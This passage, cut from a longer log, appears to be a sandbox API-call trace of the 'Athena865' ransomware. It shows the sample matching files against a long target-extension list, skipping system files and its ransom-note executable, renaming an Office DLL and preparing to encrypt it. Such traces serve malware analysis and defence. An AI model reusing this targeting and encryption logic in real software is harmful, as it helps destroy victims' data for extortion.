lpString2="odb") returned -1 [0082.718] lstrlenW (lpString="odb") returned 3 [0082.718] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0082.718] lstrlenW (lpString="oqy") returned 3 [0082.718] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0082.718] lstrlenW (lpString="ora") returned 3 [0082.718] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0082.718] lstrlenW (lpString="orx") returned 3 [0082.718] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0082.718] lstrlenW (lpString="owc") returned 3 [0082.718] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0082.718] lstrlenW (lpString="p96") returned 3 [0082.718] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0082.718] lstrlenW (lpString="p97") returned 3 [0082.718] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0082.718] lstrlenW (lpString="pan") returned 3 [0082.718] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0082.718] lstrlenW (lpString="pdb") returned 3 [0082.718] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0082.718] lstrlenW (lpString="pdm") returned 3 [0082.718] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0082.718] lstrlenW (lpString="pnz") returned 3 [0082.718] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0082.718] lstrlenW (lpString="qry") returned 3 [0082.718] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0082.719] lstrlenW (lpString="qvd") returned 3 [0082.719] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0082.719] lstrlenW (lpString="rbf") returned 3 [0082.719] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0082.719] lstrlenW (lpString="rctd") returned 4 [0082.719] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0082.719] lstrlenW (lpString="rod") returned 3 [0082.719] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0082.719] lstrlenW (lpString="rodx") returned 4 [0082.719] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0082.719] lstrlenW (lpString="rpd") returned 3 [0082.719] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0082.719] lstrlenW (lpString="rsd") returned 3 [0082.719] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0082.719] lstrlenW (lpString="sas7bdat") returned 8 [0082.719] lstrcmpiW (lpString1="MIME.DLL", lpString2="sas7bdat") returned -1 [0082.719] lstrlenW (lpString="sbf") returned 3 [0082.719] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0082.719] lstrlenW (lpString="scx") returned 3 [0082.719] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0082.719] lstrlenW (lpString="sdb") returned 3 [0082.719] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0082.719] lstrlenW (lpString="sdc") returned 3 [0082.719] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0082.719] lstrlenW (lpString="sdf") returned 3 [0082.719] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0082.719] lstrlenW (lpString="sis") returned 3 [0082.719] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0082.719] lstrlenW (lpString="spq") returned 3 [0082.719] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0082.719] lstrlenW (lpString="te") returned 2 [0082.719] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0082.719] lstrlenW (lpString="teacher") returned 7 [0082.720] lstrcmpiW (lpString1="IME.DLL", lpString2="teacher") returned -1 [0082.720] lstrlenW (lpString="tmd") returned 3 [0082.720] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0082.720] lstrlenW (lpString="tps") returned 3 [0082.720] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0082.720] lstrlenW (lpString="trc") returned 3 [0082.720] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0082.720] lstrlenW (lpString="trc") returned 3 [0082.720] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0082.720] lstrlenW (lpString="trm") returned 3 [0082.720] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0082.720] lstrlenW (lpString="udb") returned 3 [0082.720] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0082.720] lstrlenW (lpString="udl") returned 3 [0082.720] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0082.720] lstrlenW (lpString="usr") returned 3 [0082.720] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0082.720] lstrlenW (lpString="v12") returned 3 [0082.720] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0082.720] lstrlenW (lpString="vis") returned 3 [0082.720] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0082.721] lstrlenW (lpString="vpd") returned 3 [0082.721] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0082.721] lstrlenW (lpString="vvv") returned 3 [0082.721] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0082.721] lstrlenW (lpString="wdb") returned 3 [0082.721] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0082.721] lstrlenW (lpString="wmdb") returned 4 [0082.721] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0082.721] lstrlenW (lpString="wrk") returned 3 [0082.721] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0082.721] lstrlenW (lpString="xdb") returned 3 [0082.721] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0082.722] lstrlenW (lpString="xld") returned 3 [0082.722] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0082.722] lstrlenW (lpString="xmlff") returned 5 [0082.722] lstrcmpiW (lpString1="E.DLL", lpString2="xmlff") returned -1 [0082.722] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OUTLMIME.DLL.Athena865") returned 65 [0082.722] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLMIME.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlmime.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLMIME.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlmime.dll.athena865"), dwFlags=0x1) returned 1 [0082.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLMIME.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlmime.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0082.723] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=720776) returned 1 [0082.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0082.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0082.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0082.723] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0082.724] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0082.724] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.724] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb0290, lpName=0x0) returned 0x154 [0082.726] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb0290) returned 0x2d50000 [0082.755] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0082.756] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0082.756] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0082.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0082.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0082.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0082.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0082.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0082.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0082.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0082.757] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0082.763] CloseHandle (hObject=0x154) returned 1 [0082.763] CloseHandle (hObject=0x17c) returned 1 [0082.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0082.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0082.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0082.766] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6cc5a5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x175ed60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLOOK.EXE", cAlternateFileName="")) returned 1 [0082.766] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.766] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.766] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2=".") returned 1 [0082.766] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2="..") returned 1 [0082.766] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2="windows") returned -1 [0082.767] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2="bootmgr") returned 1 [0082.767] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2="temp") returned -1 [0082.767] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2="pagefile.sys") returned -1 [0082.767] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2="boot") returned 1 [0082.767] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2="ids.txt") returned 1 [0082.767] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2="ntuser.dat") returned 1 [0082.767] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2="perflogs") returned -1 [0082.767] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2="MSBuild") returned 1 [0082.767] lstrlenW (lpString="OUTLOOK.EXE") returned 11 [0082.767] lstrcpyW (in: lpString1=0x241e89e, lpString2="OUTLOOK.EXE" | out: lpString1="OUTLOOK.EXE") returned="OUTLOOK.EXE" [0082.767] lstrlenW (lpString="OUTLOOK.EXE") returned 11 [0082.767] lstrlenW (lpString="Athena865") returned 9 [0082.767] lstrcmpiW (lpString1="TLOOK.EXE", lpString2="Athena865") returned 1 [0082.767] lstrlenW (lpString=".dll") returned 4 [0082.767] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2=".dll") returned 1 [0082.767] lstrlenW (lpString=".lnk") returned 4 [0082.767] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2=".lnk") returned 1 [0082.767] lstrlenW (lpString=".ini") returned 4 [0082.767] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2=".ini") returned 1 [0082.767] lstrlenW (lpString=".sys") returned 4 [0082.767] lstrcmpiW (lpString1="OUTLOOK.EXE", lpString2=".sys") returned 1 [0082.767] lstrlenW (lpString="OUTLOOK.EXE") returned 11 [0082.767] lstrlenW (lpString="bak") returned 3 [0082.767] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0082.767] lstrlenW (lpString="ba_") returned 3 [0082.767] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0082.767] lstrlenW (lpString="dbb") returned 3 [0082.767] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0082.767] lstrlenW (lpString="vmdk") returned 4 [0082.767] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0082.767] lstrlenW (lpString="rar") returned 3 [0082.767] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0082.767] lstrlenW (lpString="zip") returned 3 [0082.768] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0082.768] lstrlenW (lpString="tgz") returned 3 [0082.768] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0082.768] lstrlenW (lpString="vbox") returned 4 [0082.768] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0082.768] lstrlenW (lpString="vdi") returned 3 [0082.768] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0082.768] lstrlenW (lpString="vhd") returned 3 [0082.768] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0082.768] lstrlenW (lpString="vhdx") returned 4 [0082.768] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0082.768] lstrlenW (lpString="avhd") returned 4 [0082.768] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0082.768] lstrlenW (lpString="db") returned 2 [0082.768] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0082.768] lstrlenW (lpString="db2") returned 3 [0082.768] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0082.768] lstrlenW (lpString="db3") returned 3 [0082.768] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0082.768] lstrlenW (lpString="dbf") returned 3 [0082.768] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0082.768] lstrlenW (lpString="mdf") returned 3 [0082.768] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0082.768] lstrlenW (lpString="mdb") returned 3 [0082.768] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0082.768] lstrlenW (lpString="sql") returned 3 [0082.768] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0082.768] lstrlenW (lpString="sqlite") returned 6 [0082.768] lstrcmpiW (lpString1="OK.EXE", lpString2="sqlite") returned -1 [0082.768] lstrlenW (lpString="sqlite3") returned 7 [0082.768] lstrcmpiW (lpString1="OOK.EXE", lpString2="sqlite3") returned -1 [0082.768] lstrlenW (lpString="sqlitedb") returned 8 [0082.768] lstrcmpiW (lpString1="LOOK.EXE", lpString2="sqlitedb") returned -1 [0082.769] lstrlenW (lpString="xml") returned 3 [0082.769] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0082.769] lstrlenW (lpString="$er") returned 3 [0082.769] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0082.769] lstrlenW (lpString="4dd") returned 3 [0082.769] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0082.769] lstrlenW (lpString="4dl") returned 3 [0082.769] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0082.769] lstrlenW (lpString="^^^") returned 3 [0082.769] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0082.769] lstrlenW (lpString="abs") returned 3 [0082.769] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0082.769] lstrlenW (lpString="abx") returned 3 [0082.769] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0082.769] lstrlenW (lpString="accdb") returned 5 [0082.769] lstrcmpiW (lpString1="K.EXE", lpString2="accdb") returned 1 [0082.769] lstrlenW (lpString="accdc") returned 5 [0082.769] lstrcmpiW (lpString1="K.EXE", lpString2="accdc") returned 1 [0082.769] lstrlenW (lpString="accde") returned 5 [0082.769] lstrcmpiW (lpString1="K.EXE", lpString2="accde") returned 1 [0082.769] lstrlenW (lpString="accdr") returned 5 [0082.769] lstrcmpiW (lpString1="K.EXE", lpString2="accdr") returned 1 [0082.769] lstrlenW (lpString="accdt") returned 5 [0082.769] lstrcmpiW (lpString1="K.EXE", lpString2="accdt") returned 1 [0082.769] lstrlenW (lpString="accdw") returned 5 [0082.769] lstrcmpiW (lpString1="K.EXE", lpString2="accdw") returned 1 [0082.769] lstrlenW (lpString="accft") returned 5 [0082.769] lstrcmpiW (lpString1="K.EXE", lpString2="accft") returned 1 [0082.769] lstrlenW (lpString="adb") returned 3 [0082.769] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0082.769] lstrlenW (lpString="adb") returned 3 [0082.769] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0082.769] lstrlenW (lpString="ade") returned 3 [0082.769] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0082.770] lstrlenW (lpString="adf") returned 3 [0082.770] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0082.770] lstrlenW (lpString="adn") returned 3 [0082.770] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0082.770] lstrlenW (lpString="adp") returned 3 [0082.770] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0082.770] lstrlenW (lpString="alf") returned 3 [0082.770] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0082.770] lstrlenW (lpString="ask") returned 3 [0082.770] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0082.770] lstrlenW (lpString="btr") returned 3 [0082.770] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0082.770] lstrlenW (lpString="cat") returned 3 [0082.770] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0082.770] lstrlenW (lpString="cdb") returned 3 [0082.770] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0082.770] lstrlenW (lpString="ckp") returned 3 [0082.770] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0082.770] lstrlenW (lpString="cma") returned 3 [0082.770] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0082.770] lstrlenW (lpString="cpd") returned 3 [0082.770] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0082.770] lstrlenW (lpString="dacpac") returned 6 [0082.770] lstrcmpiW (lpString1="OK.EXE", lpString2="dacpac") returned 1 [0082.770] lstrlenW (lpString="dad") returned 3 [0082.770] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0082.770] lstrlenW (lpString="dadiagrams") returned 10 [0082.770] lstrcmpiW (lpString1="UTLOOK.EXE", lpString2="dadiagrams") returned 1 [0082.770] lstrlenW (lpString="daschema") returned 8 [0082.770] lstrcmpiW (lpString1="LOOK.EXE", lpString2="daschema") returned 1 [0082.770] lstrlenW (lpString="db-journal") returned 10 [0082.770] lstrcmpiW (lpString1="UTLOOK.EXE", lpString2="db-journal") returned 1 [0082.771] lstrlenW (lpString="db-shm") returned 6 [0082.771] lstrcmpiW (lpString1="OK.EXE", lpString2="db-shm") returned 1 [0082.771] lstrlenW (lpString="db-wal") returned 6 [0082.771] lstrcmpiW (lpString1="OK.EXE", lpString2="db-wal") returned 1 [0082.771] lstrlenW (lpString="dbc") returned 3 [0082.771] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0082.771] lstrlenW (lpString="dbs") returned 3 [0082.771] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0082.771] lstrlenW (lpString="dbt") returned 3 [0082.771] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0082.771] lstrlenW (lpString="dbv") returned 3 [0082.771] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0082.771] lstrlenW (lpString="dbx") returned 3 [0082.771] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0082.771] lstrlenW (lpString="dcb") returned 3 [0082.771] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0082.771] lstrlenW (lpString="dct") returned 3 [0082.771] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0082.771] lstrlenW (lpString="dcx") returned 3 [0082.771] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0082.771] lstrlenW (lpString="ddl") returned 3 [0082.771] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0082.771] lstrlenW (lpString="dlis") returned 4 [0082.771] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0082.771] lstrlenW (lpString="dp1") returned 3 [0082.771] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0082.771] lstrlenW (lpString="dqy") returned 3 [0082.771] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0082.771] lstrlenW (lpString="dsk") returned 3 [0082.771] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0082.771] lstrlenW (lpString="dsn") returned 3 [0082.771] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0082.771] lstrlenW (lpString="dtsx") returned 4 [0082.772] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0082.772] lstrlenW (lpString="dxl") returned 3 [0082.772] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0082.772] lstrlenW (lpString="eco") returned 3 [0082.772] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0082.772] lstrlenW (lpString="ecx") returned 3 [0082.772] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0082.772] lstrlenW (lpString="edb") returned 3 [0082.772] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0082.772] lstrlenW (lpString="epim") returned 4 [0082.772] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0082.772] lstrlenW (lpString="fcd") returned 3 [0082.772] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0082.772] lstrlenW (lpString="fdb") returned 3 [0082.772] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0082.772] lstrlenW (lpString="fic") returned 3 [0082.772] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0082.772] lstrlenW (lpString="flexolibrary") returned 12 [0082.772] lstrlenW (lpString="fm5") returned 3 [0082.772] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0082.772] lstrlenW (lpString="fmp") returned 3 [0082.772] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0082.772] lstrlenW (lpString="fmp12") returned 5 [0082.772] lstrcmpiW (lpString1="K.EXE", lpString2="fmp12") returned 1 [0082.772] lstrlenW (lpString="fmpsl") returned 5 [0082.772] lstrcmpiW (lpString1="K.EXE", lpString2="fmpsl") returned 1 [0082.772] lstrlenW (lpString="fol") returned 3 [0082.772] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0082.772] lstrlenW (lpString="fp3") returned 3 [0082.772] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0082.772] lstrlenW (lpString="fp4") returned 3 [0082.772] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0082.772] lstrlenW (lpString="fp5") returned 3 [0082.772] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0082.773] lstrlenW (lpString="fp7") returned 3 [0082.773] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0082.773] lstrlenW (lpString="fpt") returned 3 [0082.773] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 [0082.773] lstrlenW (lpString="frm") returned 3 [0082.773] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0082.773] lstrlenW (lpString="gdb") returned 3 [0082.773] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0082.773] lstrlenW (lpString="gdb") returned 3 [0082.773] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0082.773] lstrlenW (lpString="grdb") returned 4 [0082.773] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0082.773] lstrlenW (lpString="gwi") returned 3 [0082.773] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0082.773] lstrlenW (lpString="hdb") returned 3 [0082.773] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0082.773] lstrlenW (lpString="his") returned 3 [0082.773] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0082.773] lstrlenW (lpString="ib") returned 2 [0082.773] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0082.773] lstrlenW (lpString="idb") returned 3 [0082.773] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0082.773] lstrlenW (lpString="ihx") returned 3 [0082.773] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0082.773] lstrlenW (lpString="itdb") returned 4 [0082.773] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0082.773] lstrlenW (lpString="itw") returned 3 [0082.773] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0082.773] lstrlenW (lpString="jet") returned 3 [0082.773] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0082.773] lstrlenW (lpString="jtx") returned 3 [0082.773] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0082.773] lstrlenW (lpString="kdb") returned 3 [0082.773] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0082.774] lstrlenW (lpString="kexi") returned 4 [0082.774] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0082.774] lstrlenW (lpString="kexic") returned 5 [0082.774] lstrcmpiW (lpString1="K.EXE", lpString2="kexic") returned -1 [0082.774] lstrlenW (lpString="kexis") returned 5 [0082.774] lstrcmpiW (lpString1="K.EXE", lpString2="kexis") returned -1 [0082.774] lstrlenW (lpString="lgc") returned 3 [0082.774] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0082.774] lstrlenW (lpString="lwx") returned 3 [0082.774] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0082.774] lstrlenW (lpString="maf") returned 3 [0082.774] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0082.774] lstrlenW (lpString="maq") returned 3 [0082.774] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0082.774] lstrlenW (lpString="mar") returned 3 [0082.774] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0082.774] lstrlenW (lpString="marshal") returned 7 [0082.774] lstrcmpiW (lpString1="OOK.EXE", lpString2="marshal") returned 1 [0082.774] lstrlenW (lpString="mas") returned 3 [0082.774] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0082.774] lstrlenW (lpString="mav") returned 3 [0082.774] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0082.774] lstrlenW (lpString="maw") returned 3 [0082.774] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0082.774] lstrlenW (lpString="mdbhtml") returned 7 [0082.774] lstrcmpiW (lpString1="OOK.EXE", lpString2="mdbhtml") returned 1 [0082.774] lstrlenW (lpString="mdn") returned 3 [0082.774] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0082.774] lstrlenW (lpString="mdt") returned 3 [0082.774] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0082.774] lstrlenW (lpString="mfd") returned 3 [0082.774] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0082.774] lstrlenW (lpString="mpd") returned 3 [0082.775] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0082.775] lstrlenW (lpString="mrg") returned 3 [0082.775] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0082.775] lstrlenW (lpString="mud") returned 3 [0082.775] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0082.775] lstrlenW (lpString="mwb") returned 3 [0082.775] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0082.775] lstrlenW (lpString="myd") returned 3 [0082.775] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0082.775] lstrlenW (lpString="ndf") returned 3 [0082.775] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0082.775] lstrlenW (lpString="nnt") returned 3 [0082.775] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1 [0082.775] lstrlenW 